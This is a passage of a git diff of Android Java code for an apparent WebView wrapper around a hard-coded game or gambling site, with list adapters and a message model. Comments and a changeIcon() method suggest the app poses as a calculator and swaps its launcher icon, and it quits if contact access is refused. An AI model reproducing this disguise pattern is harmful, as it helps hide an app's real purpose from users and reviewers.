intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + private boolean isToOutSideUrl(String url1) { + return url1.contains("facebook") || url1.contains("https://t.me") || + url1.contains("instagram") || url1.contains("https://x.com")||url1.contains("https://wa.me")|| + url1.contains("https://m.me")||url1.contains("http://m.me"); + } + + + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:"+url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:"+url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + +// verifyStoragePermissions(MainActivity2.this); + + Intent intent = fileChooserParams.createIntent(); + String[] acceptTypes = fileChooserParams.getAcceptTypes(); + if (acceptTypes != null && acceptTypes.length > 0) { + for (int i = 0;i uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/base_sg/src/main/java/com/web/base/MainActivity3.java b/base_sg/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/base_sg/src/main/java/com/web/base/MessageInfo.java b/base_sg/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_sg/src/main/java/com/web/base/MyBankListAdapter.java b/base_sg/src/main/java/com/web/base/MyBankListAdapter.java new file mode 100644 index 0000000..de365ed --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MyBankListAdapter.java @@ -0,0 +1,74 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyBankListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + public MyBankListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position).getBankName()); + + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_sg/src/main/java/com/web/base/MyListAdapter.java b/base_sg/src/main/java/com/web/base/MyListAdapter.java new file mode 100644 index 0000000..f42b437 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MyListAdapter.java @@ -0,0 +1,75 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + + public MyListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position)); + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } +} diff --git a/base_sg/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_sg/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..6c67a08 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,178 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + +// holder.itemView.setOnClickListener(view -> { +// if (itemClickPostionListener != null) { +// itemClickPostionListener.item(position); +// } +// }); + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) 